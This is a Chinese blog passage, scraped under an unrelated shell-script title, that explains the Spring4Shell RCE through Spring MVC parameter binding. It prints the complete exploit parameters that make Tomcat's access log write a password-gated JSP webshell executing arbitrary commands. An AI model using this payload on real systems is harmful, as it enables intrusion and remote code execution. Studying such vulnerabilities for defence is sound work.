当前位置:首页 > 经验 >

shell脚本原理(shell脚本 基本知识)

来源:原点资讯(www.yd166.com)时间:2022-11-07 08:01:55作者:YD166手机阅读>>

Spring框架最新的PoC

这两天出来的一个RCE漏洞,但是有以下的条件限制才行:

  • 必须是jdk9及以上
  • 必须是部署在tomcat的应用
  • 是springmvc的或者webflux的应用

具体的可以查看spring官方:

https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement

我看到这个漏洞的时候,就去查了以下怎么利用的,github一搜很多py脚本。

但是我没找到漏洞利用的原理,所以我就自己做了个demo,然后debugger了一下,原来是这样~

漏洞利用的原理

我们都知道,我们在springmvc的时候经常会这么写代码来接收前端传来的参数

@RequestMapping(value = "/register", method = RequestMethod.GET) public String register(@RequestParam Map<String, String> requestparams, Model model) throws Exception { String email = requestparams.get("email"); String username = requestparams.get("username"); model.addAttribute("data", "email:" email " username:" username); return "index"; }

如果我们这么访问:

http://localhost:8080/vulnerable_war/register?email=11&username=b

那么返回的结果就是这样:

shell脚本原理,shell脚本 基本知识(1)

image

那么如果我们把接收的类型从Map转成一个POJO的话,就像这样:

@RequestMapping(value = "/register2", method = RequestMethod.GET) public String register2(HelloWorld obj, Model model) throws Exception { model.addAttribute("data", obj.toString()); return "index"; }

访问一下:

shell脚本原理,shell脚本 基本知识(2)

image

这说明了,springmvc框架帮我们做了一个很重要的事情:

通过我们请求的数据,转成了POJO对象。

恰巧就是这个非常好用的封装导致了这个POC

解析POC第一步:到底构造了一个什么数据会引发呢?

跑的环境是:

  • jdk11
  • tomcat8.5.58
  • spring-webmvc5.3.15

class.module.classLoader.resources.context.parent.pipeline.first.pattern= %{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

将上面的数据用下面post的方式调用下面的接口

shell脚本原理,shell脚本 基本知识(3)

image

@RequestMapping(value = "/rapid7") public void vulnerable(HelloWorld model) { }

注意header里面的值是需要的,目的是为了迎合tomcat日志的pattern(下面会讲到)

  • %i 这个语法是从请求的header里面拿xxx

就会在tomcat的Root目录下生成一个jsp文件

shell脚本原理,shell脚本 基本知识(4)

首页 123下一页

栏目热文

shellcode怎么写(shellcode开发)

shellcode怎么写(shellcode开发)

这是2008年写的文章, 没有正式发表过,里面使用的环境不记得是i386Linux还是AMD64的Linux了。其实,叫...

2022-11-07 08:12:49查看全文 >>

通用shellcode编写实例(shellcode执行原理)

通用shellcode编写实例(shellcode执行原理)

1)编写 hello world 脚本#!/bin/bash # 编写hello world脚本 echo "...

2022-11-07 08:06:54查看全文 >>

shellcode应该放在哪(shellcode使用教程)

shellcode应该放在哪(shellcode使用教程)

在开始今天课程之前,先回忆下上一讲在结束时,我提出的windows平台下的几个关键问题:1:缓冲区距离返回地址间的距离确...

2022-11-07 08:38:25查看全文 >>

shellcode类书(shell编程零基础的书籍)

shellcode类书(shell编程零基础的书籍)

书籍简介黑客与渗透测试编程之道本书是畅销书《Python 灰帽子—黑客与逆向工程师的 Python 编程之道》的姊妹篇,...

2022-11-07 08:07:13查看全文 >>

shellcode执行方式(shell脚本的执行方法)

shellcode执行方式(shell脚本的执行方法)

本篇主要是以x64系统为例对系统调用中一些功能性函数的解读和实际运用。目前网络上流传的通用shellcode,均使用系统...

2022-11-07 08:13:07查看全文 >>

shellcode免杀原理(shellcode免杀技巧)

shellcode免杀原理(shellcode免杀技巧)

原创AgeloVito合天智汇0x01 前言​ 2019年,告别了coder的世界,告别了从前的生活。我决定暂时抛开金钱...

2022-11-07 08:06:49查看全文 >>

shellcode一般满足什么要求(shellcode编程揭秘)

shellcode一般满足什么要求(shellcode编程揭秘)

作者:WeaponX预估稿费:400RMB投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿背景最近在...

2022-11-07 08:08:51查看全文 >>

shellcode 入门(shell编程入门教程)

shellcode 入门(shell编程入门教程)

payload和shellcode的区别Payload是是包含在你用于一次漏洞利用(exploit)中的ShellCod...

2022-11-07 08:13:49查看全文 >>

shellcode加载器(shellcode编程揭秘)

shellcode加载器(shellcode编程揭秘)

shellcode是嵌入在恶意程序中的一段代码,在感染受害者的目标系统后,可以获取命令Shell代码,例如类UNIX操作...

2022-11-07 08:14:23查看全文 >>

shellcode写法(简单shellcode学习)

shellcode写法(简单shellcode学习)

原文首发:看雪论坛 http://bbs.pediy.com/thread-217513.htm前言在构造一个shell...

2022-11-07 08:36:18查看全文 >>

文档排行